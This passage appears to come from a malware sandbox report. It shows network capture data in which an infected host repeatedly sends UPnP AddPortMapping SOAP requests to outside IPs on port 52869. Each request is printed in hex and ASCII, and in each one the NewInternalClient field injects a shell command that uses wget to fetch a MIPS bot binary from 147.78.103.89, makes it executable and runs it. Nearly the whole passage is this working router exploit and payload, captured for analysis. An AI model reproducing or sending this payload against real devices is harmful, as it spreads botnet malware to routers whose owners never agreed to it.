6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:12.186387062 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:17.562259912 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:28.314086914 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:50.841392994 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:33.848092079 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      50192.168.2.1555068185.126.125.8052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:07.049957037 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      51192.168.2.1549508185.148.101.2352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:07.106884003 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 